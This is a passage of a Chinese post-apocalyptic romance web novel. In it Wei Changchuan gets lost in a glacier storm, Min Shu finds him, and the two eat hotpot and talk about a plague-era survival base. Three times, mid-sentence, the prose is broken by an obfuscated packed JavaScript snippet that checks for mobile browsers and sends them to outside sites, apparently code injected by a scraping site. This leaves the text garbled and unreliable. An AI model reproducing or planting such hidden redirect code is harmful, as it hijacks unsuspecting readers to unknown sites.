然而闵疏想到还不知在哪生死未卜的魏长川,要紧了牙关,一脚踏入了短短几小时间已经堆到小腿的积雪中。他虽然废,但好歹休息了这么久,好吃好喝的体力正是充足的时候。这时候方圆百里就只有他们两个人,魏长川如果真出了什么意外,能指望的就只有他。 在这种情况下,不管被困的是谁,闵疏都无法做到见死不救。 更何况魏长川还那么帅! 闵疏迎着风,艰难地在雪地中跋涉,向冰川巨谷中大喊:“魏长川——“ 呼啸的风雪几乎完全盖过了他的声音,闵疏在雪地里艰难地行走者,用手中的油灯照亮脚下的沟壑,试图寻找男人的足迹,同时不断呼喊男人的名字: “魏长川——哥——你在哪?” “哥——你在哪——” “听见了就回应一声——哥——” 风雪没有丝毫要停止的意思,闵疏的睫毛都被雪花黏在了一起,几乎是闭着眼在雪地里走。 就在这时,他忽然感觉自己踩到了什么东西,脚下一滑,登时失去了平衡,向前摔去。 “啊!” 闵疏只来得及叫出半声,下意识地护住鲸油灯,然而就在这时,一股巨力忽然拽住了他的衣领,将他生生提了起来。 闵疏只感觉自己的身体’嗖’的一下腾空,抬眼一看,便见一张俊脸自冰雪后浮现。 闵疏登时眼前一亮:“哥!“ 真巧!他才出来走了两步就找着了! 闵疏喜出望外,然而他剩下的话还没来得及出口,就被猛地扣住了肩膀: ”你出来干什么?!“ 男人饱含怒气的声音在他耳边炸响。闵疏登时被吼懵了,瞪大了眼睛看着面前脸色有点发白的魏长川。 魏长川显然气得不轻,额头上隐隐绷出青筋,冷峻的眉目盯紧了他,扣在他肩膀上的手如铁钳一般: “不是叫你别出来吗?“ 闵疏看着男人的眼睛,无措道:“我、我看你这么久都没回来……害怕你出事。” 他说着动了动手臂,可怜兮兮地道:“哥、哥你抓得我好痛啊——” 青年的声音有点委屈,魏长川一愣,接着闪电般地松开了手。 闵疏落到地面上,下意识地揉了揉肩膀,小心地抬起眼,见魏长川面色阴沉的站在哪儿,不禁缩了缩脖子,不敢说话了。 风雪在二人身边呼啸而过,闵疏在雪地里站着,不禁打了个冷颤。 这时,魏长川忽然动了起来。他走近几步,长臂一揽,直接将闵疏跟夹着个文件夹似得搂着腰挟住。 闵疏身子一轻,还没反应过来,双脚就离开了地面。 他下意识地用手抓住男人的手臂:“哥、哥?” 他试图以这个别扭的姿势转头去看魏长川的脸:“哥……我自己可以走——” 然而魏长川根本没理会他的,他健步如飞,视风雪为无物,挟着闵疏几步就走到了洞口。 一进入山洞,外头的风声立即低了下来,鲸油灯暖黄的光芒洒出来,照亮了地面上层叠的柔软皮毛和四处散落的零食。炉子上的小锅里的水还留有热意,蒸腾出些许水汽,锅边的堆叠的皮草很明显得下陷了一块儿,像是个小小的窝,几乎能让人想象出闵疏坐在里面捧着漫画看的样子。 魏长川站在热可可香甜的气息中,胸膛起伏了几下,带着霜雪的眉梢逐渐放缓了幅度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15038795|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 下一瞬,闵疏感到自己被放了下来。他刚站稳,一只略带凉意的手就伸了过来,先是摸了摸他的脸,然后碰了碰颈侧,最后抓住他的手,拢着五指捏住。 闵疏不明所以地伸着双手,抬头看向男人。便见魏长川低着头,凝着霜雪的眼睫全白,带着别样的美感。 “出来了多久?“ 闵疏看了看他,又看了看自己被握住的双手,咽了口唾沫,觉得自己的声音有点发紧:“……才刚出去了一小会儿。” 魏长川感受着手里五指上的温度,神情缓了缓,遂看了眼闵疏,这才放下手。 闵疏’嗖’得一下收回手,捏了捏自己的裤腿,不敢和男人对视:“我真的没事,才走了没多久就遇见你了。” 随后有些慌张地转过头,去用气罐点燃炉子:“哥你在外头走了那么久,冷着了吧?我先给你弄点儿热的喝——” 他刚拿起气罐,就被魏长川接了过去。闵疏一愣,回过头,便见男人熟练地点火,将锅架在了火上,又到外面去捧出干净的清雪放进锅里。 在煮雪的同时,闵疏找不到事干,只得坐到了皮毛上,干巴巴地看着魏长川。 这一看,他才发现魏长川的披风上已经落满了积雪,闵疏想起来,刚才男人的眉毛和眼睫上都是霜,脸上也没有血色,原本烫地惊人的手心也是凉凉的,应该是在风雪里走了很久。 “哥,你怎么这么晚才回来啊?” 闵疏忍不住问:“我还以为你出什么事了呢。” 闻言,魏长川动作一顿,回头看向闵疏。 青年团坐在柔软的皮毛中,腿上盖着条雪白的毛毯,尖尖的下巴缩在领子里,一双细长的丹凤看着他,目光温润而清亮,带着未遭到末世洗礼过的天真。 魏长川默然。 他低下头,自披风下拿出一只试管,细长透明的玻璃管中装着两块冰,在肉眼不可见的结构之中,蕴含着自远古就被封冻在冰层最深处的病毒。 “啊。” 闵疏看见试管,惊喜道:“哥,你拿到样本了?” 魏长川没有回答他,实际上,在他下到冰川最深处,按照基地科学家给出的指示找到正确的冰层收集好样本之前,一切都很顺利。天空中没有云,巨大的冰块在逐渐笼罩天地的粉色霞光中泛着深邃而幽秘的蓝色,景色称得上一句壮丽。 然而就在他收集好样本,开始回程之时,天气忽然骤变,风暴在不到半个小时间就席卷了整座冰川,能见度下降到不足一米。 然而就算这般,魏长川也不觉得有什么。他的基因变异携带对地磁感应的增幅,不需要任何仪器或者参照物引导就能找到正确的方向。 然而在这场风暴中,他竟然迷路了。 就跟上次独自接近冰川一样,魏长川被困在了风暴里。四周都是灰白的雪雾,他在其中逐渐失去了方向感,随即开始感觉不到时间的流逝,体温跟着开始下降,魏长川对这一切没有科学的解释,真要说,只能用俗语中的「鬼打墙」来形容。 他不知在风雪中走了多久,好像无论怎么走都走不出风暴的包围,像是身处一个无限的空间里走着,又像是在原地踏步哪里都没有去。 若是换个心智不够坚定的人,遇到这种情况可能早就崩溃了。就算是免疫者,长期暴露在这样的温度下也会迅速失去体温。 但是魏长川没有停下脚步,在暴风雪中漫无方向地走了很久很久,然后在某一个瞬间,他忽然听到了一个声音。 那是闵疏在叫着他的名字。 下一瞬,就像变魔法一样,魏长川忽然就在一片灰白中准确地看到了一个清瘦的人影,正提着灯自远处朝他靠近。 他一把抓住了闵疏,在看见青年白皙的面颊时,一切骤然回归正常。魏长川看都不用看就找到了方向,他拎着青年,走了不到五十米就回到了山洞。 17.迷路 实际上,在看到闵疏时,魏长川的第一个反应是愤怒。 他自己在风雪里被困上个几天几夜都不会有事,但闵疏身体太弱,如果和他一起被困在风暴里,可能几个小时尸体就凉透了。 所以当他抓住青年时心里是很生气的,然而就在那一瞬,他忽然意识到他们两个人就在离洞口不远的地方。以他的视力,甚至能透过风雪看到洞口处隐约透出的暖光。 他四周的景色没有任何变化,风雪依旧在耳边呼啸,然而一切就在这一瞬间恢复了正常。在那一刻,魏长川看着远处洞穴的微光,甚至有一瞬间的错乱,怀疑刚才在风雪里迷失方向的经历是一段幻觉。 温暖的洞穴中,魏长川看着闵疏灯光下一无所知的脸,忽然有种感觉——如果不是闵疏叫他的那一声,他或许根本走不出风暴。 “哥,你怎么了?” 闵疏见男人一直盯着自己看,有点不好意思地错开目光:“你、你是不是饿了?我给你弄点吃的吧。” 灯光下,青年耳鬓乌黑,侧颊细腻,泛着点微微的红。似是有点不好意思了,笑起来的样子带着些青涩的腼腆。 魏长川眉眼一跳,骤然收回了目光,垂下眼:“不用麻烦。” “嗐。” 闵疏咧着嘴笑:“哥你跟我客气啥。” 说罢便伸手在物资堆里扒拉出一盒饼干:“哥你先吃这个垫垫肚子。” 洞穴中被鲸油灯照得很亮堂,正好水也烧开了。闵疏拆了包泡面,将面饼和调料放进去。热水咕嘟咕嘟地将调料化开,空气中立即弥漫开香菇炖鸡的香味。 想着魏长川的胃口,闵疏一次煮了两包,还往里头切了根珍贵的火腿肠,煮成了一碗热腾腾的豪华版泡面。 在冰川里条件简陋,没有多余的碗,魏长川只能抱着锅吃。但他倒是不怕烫,端着锅呼噜呼噜几下,半锅面就下了肚。 闵疏在一旁看着,有些佩服魏长川的胃口能一直这么好,吃个泡面都能吃得这么香。 看着男人在哪儿呼噜面条,闵疏都有点儿看饿了,便随手拿了块巧克力来吃。牛奶巧克力香甜的滋味在舌尖散开,闵疏刚吃了小半块儿,眼皮就开始打架。 他担忧了半个晚上,又在雪地里折腾了一通,体力消耗了不少,吃了甜的就开始犯困。 魏长川到外头用雪水洗了锅回来,便见闵疏已经睡着了。 青年歪着倒在皮毛毯子上,松软的黑发在脸旁散开,裹着外套睡得很安稳,手上还拿着一块巧克力。 魏长川脚步顿了顿,放下锅,走近几步,俯身拿走青年手里的巧克力。 巧克力的锡纸包装剥开了一小半,右上角被咬掉了半块,连一个格子都没吃完。巧克力表面带着青年的牙印,也是小小一圈。 像只小老鼠咬的,魏长川心道。 每当这种时候,他心里就涌出一股难以描述的怜悯。这种情绪不带任何私人感情,更像是人类看到比自己弱小许多的事物时所产生的一种本能反射。 然而就是这样一个普通的,甚至说得上是弱小的青年,却救了他两次。 魏长川在灯下站了片刻,才低下头,将吃剩的巧克力收好,揣进了兜里。 他找出一张干燥的皮草,将闵疏包裹起来,接着脱下还带着霜雪的外袍,躺在了青年身旁,将他连人带皮草抱在了怀里。 闵疏睡得很沉,并没有醒,只觉得身上忽然被什么热热的东西裹住了。他在睡梦中哼哼了一声,下意识地向热源凑了凑,在魏长川怀里找了个舒服的位置,又很快睡熟了。 闵疏今天累着了,睡得很沉,有些发白的嘴唇微微张着,唇角还沾着点巧克力的碎屑。 魏长川看见了,伸手在青年的嘴角一抹,舔了舔指尖,随即也闭上了眼睛。 · 第二日,风雪散去,晴阳照雪。 阳光穿过洞口,在冰壁上反射出斑斓的光点,照在闵疏的眉眼上。闵疏眼睫微颤,蹙了蹙眉,缓缓转醒,在刺眼的阳光下眯了眯眼。 冰洞里的鲸油灯已经熄灭了,闵疏睁开眼,发现自己躺在皮草上,身边没有别人。 闵疏登时心中一凛,爬起来伸手去摸旁边的皮毛,发觉上面还有余温。 就在这时,一个声音自他身后传来:“醒了?” 闵疏一怔,回过头,便见魏长川拎着装满清雪的锅走进来。他没披外袍,只穿着那身黑色的军装,脚上蹬着双黑色的漆皮靴子,身形修长而挺拔。 闵疏看见他,微不可查地松了口气。 上次男人不告而别的场景还历历在目,虽然闵疏相信魏长川不会将他一个人丢在冰川里,但一醒来没看到人,他还是不自觉地紧张了一下。 见魏长川走进来,将装满雪的锅夹在气炉上,闵疏拢了拢身上的皮毛,凑过去道: “哥,你今天起得好早啊。” 闵疏跟魏长川也一起生活了这么多天,他知道男人的睡眠质量很好,一般都是他先醒,魏长川还睡得正香,有些时候叫一声还叫不醒。 闻言,魏长川看了他一眼,没有说话。 他不是醒得早,而是根本没睡。这座冰川太危险,他需要保持警惕,然而在闵疏身边总是不知为何睡得很死,所以魏长川干脆没睡,就这么抱着闵疏躺了一夜。 不过一天不睡对免疫者而言不算什么。 魏长川将手帕在锅里的温水里洗净,拿出来拧干,对闵疏道: “过来点。” 闵疏看着魏长川的动作,惊讶地长大了嘴。只见男人手里拿着张白底黑边、设计简洁的手帕,角落还绣了个小小的「w」,像是他的私人物品。 这、这是要给他洗脸? “怎么了?” 魏长川见状,似乎是误会了什么,道:“这条我没有用过。” 闵疏慌张道:“不、我不是这个意思——” 魏长川蹙了蹙眉,似乎是觉得他磨磨蹭蹭的没了耐心,直接伸手捏住了他的下巴,将热帕子往青年脸上一糊。 闵疏感觉温热的帕子蹭过了自己的眉眼,下意识地闭上了眼睛: “呜!” 魏长川是真的在给他洗脸,手法很熟练,在容易脏的眼角之类的地方用力蹭,就是有点太用力了,让闵疏想到了以前孤儿院隔壁厂区大院儿里的爷爷奶奶抓着自家猫洗脸的场景。 等帕子离开他的脸,闵疏趁机吸了口气,便见魏长川将帕子在温水里洗了,对他道:“抬头。” 闵疏乖乖抬头,魏长川将他的脖子擦了一遍,然后给他把手擦干净了,接着重新烧了水,用保温杯的盖子接了给他漱口。 闵疏被上上下下收拾干净,才被安置到一边,手上还顺便被塞了块昨天被吃完了巧克力。他就像是在忙乱时被大人打发到一边的小朋友,只能坐着吃零食看着魏长川收拾东西。 他这是……被照顾了? 闵疏长这么大,还没被别人照顾过。孤儿院的护工人手不足,很多时候都是大孩子带小孩子。由于身体上的问题,闵疏一直没有被领养,随着年龄相仿的孩子一个个被领养走,闵疏成为了年龄最大的孩子之一,因此也承担起了照顾弟弟妹妹的职责。 闵疏也因此养成了很勤快的习惯,有些时候没事情做都觉得手痒,一个人的时候,总想把这儿擦擦,再把那儿收拾一下。 所以看着魏长川在一边忙前忙后,自己什么都不用做,闵疏还有点不适应。 他拿着巧克力,一边吃一边看着魏长川整理物资,时不时地移开目光,东瞅瞅西看看,再装作不经意的样子往魏长川的方向看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15046504|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 当魏长川把东西用绳索绑好,转过身时,闵疏立即避开了目光,装作在看洞口上的冰柱。 在弥漫着冷意的冰洞里,魏长川额上还出了点细汗,他一手拿着外套,将收拾打包好的物资放在了洞外,转身回来便见闵疏窝在角落里吃着巧克力。 他走过去,把地上的皮草捡起来,偏头看了青年一眼。 只见青年低着头,缩成一团,正伸着粉色的舌尖一点点舔着巧克力。 也不咬,就光舔,好半天都没吃掉一点。 魏长川拿着皮草的动作一顿:“……你不想吃巧克力?“ “啊?” 闵疏没想到他会突然说话,有点诧异地抬起头,接着反应过来,解释道:“哦,这个有点硬——” 巧克力就是很普通的牌子,冰川的温度太低,经过一整晚被冻得硬邦邦的,如果不舔得融化一点的话会有点难咬。 闻言,魏长川微微抬了抬眉,接着点了点头,低下头去收拾手上的皮草。 闵疏坐在他身边,不知为何忽然有点脸红,低下了头将巧克力塞进了嘴里。心道这人做事就做事,看他干什么,还笑,搞得他吃东西都不自在。 · 略作修整后,两人从山洞出发,准备回程。 在走出冰川之前,魏长川想往回看一看他昨天迷路的地方。本来他是想自己去的,但闵疏表示他也很好奇,所以两个人就一起去了。 今天是个大晴天,在蔚蓝的天空下,冰川静静伫立,泛着微微的蓝光,景色美丽得有些不真实。 昨日刚刚下过雪,阳光照在洁白的雪面上,泛着近乎有些刺眼的白光。闵疏光是看着雪面就觉得眼睛有点刺痛,不得不用手遮着阳光,低着头跟在魏长川身后。 松软的积雪几乎吸去了所有杂音,四周十分安静,只能听见两人的脚步踏入踩在雪地上的声音。 闵疏盯着地上的积雪,有些出神,因为有魏长川在前头领路,他也没注意看路。 就在下一瞬,走在前头的魏长川忽然一停,闵疏因此撞上了他的背。 “哥,怎么了?” 闵疏揉了揉额头,有些惊讶地抬起头,他还以为两人会走很久,怎么忽然就停了。 魏长川背对着他,没有说话。闵疏有点奇怪,从他身后探出头向前望去,接着猛地愣住了。 只见不远处的雪地上,蔓延着一圈圈错综复杂的足迹。 昨天的雪半夜就停了,雪地上的足迹因此得以保留。只见一个个下陷的痕迹先是呈现出不规则的折现,到了中央收拢成圈状,一个盖着一个,可以看出当时留下足迹的人已经完全失去了方向,就在这个方寸之地不断地乱转。其中有些足迹已经接近悬崖,只要踏错半步,就有可能掉下冰川裂谷。 光是看着,闵疏都觉得心惊肉跳。 接着,他骤然一凛,回过头去看两人来时的方向——这里离他们昨天暂住的洞穴只有不到一百米的距离。 ……魏长川就是在离洞口这么近的地方迷路的吗? 在想到这一点时,闵疏悚然一惊,忽然感到一阵寒意从背脊窜上。 “哥……” 闵疏抬头看向从刚才开始就一言不发的魏长川:“这、这是怎么回事?” 他的声音有点小,尾音中不自觉带了些颤抖, 似乎是听出了他声音中的恐惧,魏长川回过头,伸手按住了他的肩膀:“没事。” 闵疏顺着他的力道转过身,魏长川带着他朝冰川外的方向走去。 闵疏有点不安,走出去一段后,还想回头看看身后,却碍于魏长川放在他肩膀上的手未能成功。魏长川揽着他的肩膀,没有丝毫颤抖,闵疏转过头,见男人神情冷静,帽檐的阴影投在眉眼上,眸光冷若寒星。 18.回家 看见了那样诡异的场景,一直到走出冰川,两人间的气氛都有些凝滞。 闵疏心中疑惑,时不时抬头看一眼身边神色冷淡的魏长川,实在不明白为什么对方会在离洞口那么近的地方转着圈走。 难不成真是鬼打墙?闵疏心想他还特意在伊苏阿婆婆的遗体面前替魏长川求了平安呢,这么看来也没啥用。不过如果真的是鬼打墙,那他昨天喊魏长川那一声,说不定是恰巧破了迷障? 闵疏想着,摇了摇头,觉得自己是越琢磨越偏了,这都到玄学频道了,周易应该还管不到这儿来。 在他胡思乱想间,两个人走过冰舌,来到消融区的末端,远远得便听到了犬吠。被拴在避风处的雪橇犬从风中闻到了主人的气息,一个个欢呼雀跃,踏着毛茸茸的大爪子在冰面上激动地跑跳。 “穆里克!“ 闵疏赶忙迎上去,迎头抱住了皮毛火红的阿拉斯加,将自己的脸埋进狗狗厚实的皮毛里,用力摩擦了几下,再狠狠吸了口夹杂着冰雪冷意的狗味,这才觉得自己好了一点。 “你们乖乖躲着了没有?没冷着吧?” 闵疏心疼地道:“主人好想你们。” 阿拉斯加似是听懂了,亲昵地舔了舔他的脸,闵疏捏了捏它的耳朵,另一只哈士奇这时凑了过来,闵疏也把它抱在了怀里。 把每一只都亲亲摸摸了一遍后,闵疏拿出冻鱼干和早上冲好的羊奶粉,将在外头等了一夜狗儿们个个喂得肚儿溜圆后,两人顺利坐上了狗拉雪橇。 没了装阿苏伊遗体的棺材,狗狗车队的速度更快,在晴朗的日光中,两人一个多小时就回到了中餐厅。 然而,闵疏刚刚将狗狗们领到后院,将雪橇从它们身上卸下来,天边火烧般灿烂的晚霞就已经笼罩了大地。 随着季节进入深秋,日出越来越晚,日落却越来越早。今天快中午了太阳才彻底升起来,现在就已经快落下去了。 闵疏望向辽阔的冰原,看着远处橙红一线,喃喃道: “极夜快到了。” 魏长川站在他身后,听到这句话,在闵疏身后停了下来。两人就这样站在院子里,静静地看着天边的晚霞由橙色转为淡粉,随即没入云层中,缓缓与夜幕降临的深紫色融为一体。 当天空彻底变为深蓝时,魏长川在他身后道:“回去吧。” “嗯。” 闵疏点了点头,最后看了眼天边,转过身抬头看向魏长川:“走吧,哥。” 魏长川垂下眼,暗淡的天色里看见青年明亮的眉眼。他状似不经意地抬起手,将一缕碎发从青年上翘的眼角旁抚开,遂回头打开了门。 · 在冰川呆了一整晚,为了犒劳一下两个人,闵疏牟足了劲做了顿大餐。 在冰冷黑沉的夜晚中,闵疏将气炉翻了出来,把鸳鸯锅架在上面,一边放水煮了辣味的红油火锅底料,一边用番茄煮和冷冻牛肉粒做了酸甜口味的番茄锅。红油的是给魏长川的,番茄的则是他自己的。闵疏虽然喜欢吃辣,却因为肠胃弱不太能多吃,平时在饭菜里放一点还好,但这种红油火锅的负担就有点太大了。不过就算不能吃,能闻闻味儿也是好的。 配菜有午餐肉,鱼肉,火锅粉,还有一些冷冻鱼丸,和闵疏之前自己做的冻豆腐。冰箱里剩下的冻猪肉被闵疏交给了魏长川,让他切成薄片。 厨房里普通的菜刀在魏长川手中似乎忽然变成了利器神兵,他的袖口挽起,一手按着肉块,轻易地切下了一片薄如蝉翼的肉片。 “这样可以吗?” 魏长川回头问他。 闵疏站在他旁边:“……可以厚一点。” 这都可以拿来当卫生纸了吧! 魏长川闻言点了点头,又回过头去切肉。闵疏站在他旁边看了一会儿,忽然发现男人每一次下刀,切下来的肉都是一样的厚度。 闵疏有点惊讶地道:“哥,你的刀工真好,是经常做饭吗?” 闻言,魏长川手下的动作未停,只是看了他一眼。 闵疏刚开始还有点疑惑,接着忽然反应过来,魏长川的刀工也有可能不是做饭练的。 他时常忘记外头现在是危险的末世,只将魏长川当成了一个和他一样流落小岛的旅人。外面爆发了全球性的大瘟疫,应该很危险吧?现在魏长川是基地的指挥官,那之前的时候,他又在做什么呢? 闵疏有些出神地想。 “在想什么?” 男人低沉的声音忽然响起,闵疏一凛,接着抬起头,便见魏长川已经切完了肉,将菜刀放在了一边: “害怕了?” 闵疏一愣,接着失笑:“那倒不至于——” 他顿了顿,道:“就是有点好奇之前哥都在干什么。” 魏长川闻言,收回目光,没有回答,而是转身端着肉片走了出去。闵疏以为他是不想说,也就没多问,跟着他出了厨房中。 餐厅中,火锅里的汤底咕噜咕噜地散发着香气,旁边摆满了配菜,只是少了些蔬菜。不过魏长川似乎并不介意,一口一个肉卷吃得很香。闵疏则是比较喜欢鱼片和冻豆腐,番茄罐头滋味浓厚,和牛肉粒煮在一起滋味浓厚,酸甜的汤汁浸入了鱼片,嫩嫩的很美味。 闵疏吃着自己的鱼,看着魏长川一口一个地吃着肉卷,嘴唇被辣椒染得红红的,越看越有些眼馋。 碗里的番茄锅一下就不香了。 闵疏咽了口唾沫:“哥,你的能给我吃一口吗?” 魏长川抬眼看向他:“你能吃吗?” 闵疏有点心虚:“……只吃一点,应该没关系吧?” 虽然他上次自己煮火锅菜吃的时候在床上蔫巴了三天,但如果只吃一口的话—— 闵疏盯着滚滚的红油锅,嗅着空气中热辣的气味,心中正天人交战之间,忽然看到魏长川站起来进了厨房,出来的时候手上端了一碗热水。接着烫熟了一片肉,在热水里涮洗掉了红油,再夹进他的碗里: “吃吧。” 闵疏微微睁大了眼睛,看了眼魏长川,又看了看自己碗里的肉。魏长川或许不知道,但是在他的老家,吃火锅的时候只有父母会这样帮不能吃辣的小孩子涮火锅菜。 作为以嗜辣为名的省份出来的人,闵疏觉得有点丢脸,很不好意思地低下头把肉吃了。 虽然涮掉了表面的红油,但是火锅汤料里香料的滋味已经完全渗入薄薄的肉片里。闵疏嚼了两口,眼神立即亮了起来: “好吃!” 闻言,魏长川又给他涮了几片,闵疏很快就把那点不好意思抛在了脑后,还是认真吃饭。 酒足饭饱后,照例是魏长川去刷锅。闵疏吃了火锅,整个人暖洋洋地摊在椅子上,过了一会儿,魏长川走了出来,在他对面坐下,忽然道: “我之前在军队。” 闵疏听见他的声音,骤然一愣,接着忽然反应过来他是在回答他之前的问题。闵疏微微睁大了眼睛,一下子就坐直了。 魏长川垂着眼,语气很淡:“一开始我们被派到国外救灾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15049827|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后来回了国内,再后来,编制解散,人类存续组织成立了远东基地,我就被派往了那里。” 闵疏听着,心下不禁一沉。魏长川虽然说的很简略,但寥寥数语之间就已经勾勒出了瘟疫侵袭之下,人类文明解体的过程。 闵疏胸口发凉,是要在多短的时间内失去大量人口,才会让军队甚至「国家」这个概念消失? 末世的可怖之处,从这一句话里扑面而来。 闵疏心里发紧,抬起头,有些艰涩地问:“那……我们,还剩多少人?” 魏长川知道他指的是在现存的人类基地中还剩下多少华国人,他道:“在我离开的时候,远东基地有36452人,北美基地的情况我不太清楚。” 闻言,闵疏心里咯噔一下,胃里立即像吃了个铁块一样沉。 有十几亿人口的国家,最后就只剩下三万多人。闵疏心里沉重极了,有好几分钟几乎说不出来话,他想到自己的大学室友,又想到孤儿院的几个阿姨,这么小的生还机率,他都没办法骗自己他们还活着。 就在这时,一只手伸过来,握住了闵疏放在桌上的手。 闵疏抬起眼,对上了魏长川的沉静的目光: “基地已经建成三年了,现在情况已经比较稳定了。” 魏长川道。 闵疏知道他这是在安慰自己,勉强笑了笑,道:“幸好哥你现在才告诉我,要不然可能饭都吃不下去了。” 魏长川没说话,也没有放开他的手。闵疏低着头,安静了一会儿,才抬起头,道:“那……哥你是不是要回基地去?” 基地在西伯利亚,科学家应该都在基地里,魏长川来这里是为了采集冰川里面的病毒样本,现在采集到了,他应该就要回去了。 果然,在短暂的沉默之后,魏长川的声音传来:“是。” 这一刹那,闵疏说不清自己是什么感受。这时他终于有些理解了魏长川第一次为什么会不告而别,也许他最开始的计划就是以最快的速度采集完病毒样本后就离开,如果不是在风暴里迷了路,他和魏长川根本不会遇见。如果注定要分开,在什么都可能发生的末世之中,还是不要建立太深刻的联系为好。 不过现在说这些已经有些太迟了。 闵疏低着头,什么都没说,魏长川也没有说话,只是静静地握着他的手。男人掌心的热意不断传来,细密地包裹住他,如同这个人给他的感觉一般。 闵疏呼吸清浅,半晌后闭了闭眼,再抬起头时,脸上已经挂上了浅笑: “哥是要回在西伯利亚的那个基地吗?” 他道:“那还挺远的,哥是坐潜艇回去吗?” 魏长川定定地看着他,眼眸中倒映出闵疏白皙的脸和弯弯的眉眼,半晌后,才垂下眼,放开了与他交握的手: “对。” “那应该要坐挺久的吧?哥路上要小心啊。” 闵疏笑着道。 两人坐在餐厅中,后来又聊了些有的没的,闵疏知道了魏长川一直都通过卫星通讯跟潜艇里同伴保持着联系,在把魏长川送上格陵兰后潜艇就在远处的北大西洋深处行驶,在接到魏长川成功采集样本的讯息后,他们表示会在三天后在小镇东北部的深水港靠岸接上魏长川。 闵疏还知道了,潜艇上的人都是与魏长川一样的免疫者,他们其中并不都是军人,也有其他各行各业的人,在成为千万里挑一的幸运儿获得免疫之后志愿加入了人类存续组织指挥部,再被重新编成小队去完成各种任务。 19.最后一天 而魏长川所在的是一支潜艇小队,小队里的也都是免疫者,常年在深海中穿梭,到世界的各个地方出任务。这次到格陵兰岛,魏长川也是坐潜艇来的。 “为什么不坐飞机?” 闵疏好奇道:“飞机应该更快吧,难不成天上也有病毒?” 魏长川回答他:“不是,但现在太冷了。” 经过连年人工向大气层投掷用于降温的化学弹,气温已经下降了很多。现在的大气高空平流层中的温度已经到了会影响飞机燃油流动性的程度,随便一层水汽就能让机翼结冰,而以人类在八年之间因为大量损失人口而急速倒退的工业制造水平,根本无法在短时间内生产出抗冻的飞机。 而且瘟疫爆发之处,就是通过全球上空稠密繁忙的航线网络造成了人口的极速减少。因此,现在人类基地只允许免疫者乘坐交通工具。回到基地时还需要长时间的隔离与消毒,以免将外界的病毒带回基地中,感染脆弱的普通人类。 闵疏此时洗了个热水澡,正窝在被窝里,整个人都暖暖的:“那哥你回基地岂不是也要隔离?” 魏长川的手臂环过他,半闭着眼睛:“对。” 闵疏问:“要隔离多久?” 魏长川:“三个月。” 闵疏闻言吓了一跳:“这么久?” 这都快小半年了,闵疏问:“为什么这么久?” 魏长川微微掀起眼,见闵疏一脸好奇地看着他,复又闭上眼,给他讲了一个故事。 瘟疫发展到中期,全球人口减少一半,各国政府决定成立「人类存续组织」,并且在温度寒冷的高纬度地区建立人类生存基地。 为了躲避空气中无处不在的悬浮病毒,东西方各在西伯利亚与加国北方建立了地下基地,靠着地面几个涡轮过滤系统沉降掉空气中的病毒。 而同时,西方的另一批科学家则是发现了病毒传播在高度上的限制,这种类似胶体般充满病毒的空气只会沉降在一定高度以下。由此,政府与众多科学家、建筑师一起设计建造了一座通天巨塔。 高楼建造在靠近水资源的世界最大淡水湖旁边,一共369层,被从上到下分为三个部分,被称作「下城」「中城」「上城」。位于安全高度之上的楼层建有配备落地窗的豪华大平层,里面的居民可以开窗,也可以呼吸新鲜空气,而最下100层的公寓却连窗户都没有,居民只能呼吸循环净化后府废气。 这座全球最高的人类基地被称为「巴别塔」,与传说中古代巴比伦王国的巨塔同名。 然而它却并未被幸运女神眷顾,一个住在高层的免疫者带入病毒,让瘟疫从最高处爆发,曾经斥巨资买下高层豪宅的名人显贵们蜂拥至下层,将病毒一路带下,最后塔内居民全灭。这座曾经被称为末世最豪华、最为接近末世前生活质量的人类基地在建成仅仅八个月后就宣布沦陷,成为了一座挤满感染者尸体的巨大墓碑。其中配备的强大电力系统在所有住户死亡之后仍然 持续运行了将近一年,每晚都会按时亮起灯光,照着一扇扇落地窗中的尸体,上演着一场场瑰丽而诡异的灯光秀。 光是听着,闵疏的背后就起了一层鸡皮疙瘩,一把抓住了男人的手臂:“哥,你别吓我!” 魏长川闭着眼,没说话,手安抚般地在他背后拍了拍:“别怕。” 闵疏脑中闪烁着一座楼里都是尸体的景象,忍不住朝魏长川凑近了些,抓住男人的手臂道: “……这就是为什么要隔离三个月?” “对。” 魏长川点了点头,顺手将靠近的青年搂进怀里:“从这个角度看,基地也没有那么安全。” 闵疏闻言一怔,有些诧异地抬头看向魏长川。 只见男人闭着眼,浓密的睫羽遮在深邃的眼窝上,面容很平静: “里面人口太密集,一旦有人感染,就全完了。” 人类在病毒面前太脆弱了,现存的两个地下基地都仅靠着24h不间断运行的空气进化系统保护居民不受感染,但由于技术资源有限,基地内部的生活条件远算不上舒适。 